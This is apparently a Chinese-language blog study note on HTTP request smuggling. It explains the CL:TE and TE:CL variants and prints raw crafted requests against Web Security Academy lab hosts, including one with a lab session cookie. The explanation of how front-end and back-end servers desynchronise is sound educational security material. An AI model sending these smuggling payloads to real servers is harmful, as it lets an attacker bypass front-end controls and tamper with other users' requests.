本文最后更新于39 天前，其中的信息可能已经过时，如有错误请发送邮件到你太幼稚1919810@163.com
介绍
利用 HTTP 协议中存在的不一致性，攻击者通过发送特殊构造的 http 请求，欺骗代理服务器，负载均衡器或者 Web 服务器中的中间节点，从而可以绕过安全机制
前置知识
- CL（Content-Length）：HTTP 协议中的一个消息头（header），它用于指定 HTTP 请求或响应中消息体的大小，包括转义字符\r\n
- TE（Transfer-Encoding）：一种传输编码方式，它用于在传输过程中对消息体进行编码，以便在传输过程中对消息体进行压缩或分块传输等操作。
- HTTP1.1特性：这个版本默认开始了
Connection: Keep-alive特性，作用是告诉服务器，接收完这次 HTTP 请求后，不要关闭 TCP 链接，后面对相同目标服务器的 HTTP 请求，重用这一个 TCP 链接，这样只需要进行一次 TCP 握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度
CL:TE 请求走私
原因：前端服务只处理 Content-Length 请求头，后端处理 Transfer-Rncoding 请求头
POST / HTTP/1.1
Host: 0a37009d0472902280c57b2300070025.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Transfer-Encoding: chunked
0\r\n
\r\n
G\r\n
前端处理 Content-Length 标头并确认请求正文的长度为 8 字节，然后请求转发到后端服务器
后端服务器处理 Transfer-Encoding 标头，因为是chunked，所以如果出现0和两个\r\n（顺序不定），就会被视为终止请求，至于未处理的请求，后端服务器会将他们视为下一个请求的开始
所以我们连续发包两次，就能看到如下结果第一个包中的 G 到了第二个请求包中，显示我们的请求方法为 GPOST
TE:CL 请求走私
原因：前端服务器使用 Transfer-Encoding 标头，后端服务器使用 Content-Length 标头
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
1\r\n
0\r\n
\r\n
前端服务器处理 Transfer-Encoding 标头，最后出现0\r\n\r\n，因此被视为终止请求，此请求将转发到后端服务器
后端服务器处理 Content-Length 标头并确定请求正文长度为 3 字节，直到 1 之后的行开头。以下字节（以 0\r\n 开头）未处理，后端服务器会将这些字节视为下一个请求的开头
POST / HTTP/1.1
Host: 0a0a00a404901ccc81ceed5a009800c9.web-security-academy.net
Cookie: session=ndhAxLAN9wQOf7BYbQACPY8FPJxYWigS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n
由于 Transfer-Encoding，当其读取到 0\r\n\r\n 时，认为是读取完了，当转到后端服务器接受 Content-Length 请求头，当他读取完 5c\r\n 后，就认为此请求已经结束，后面的数据会被当做另一个请求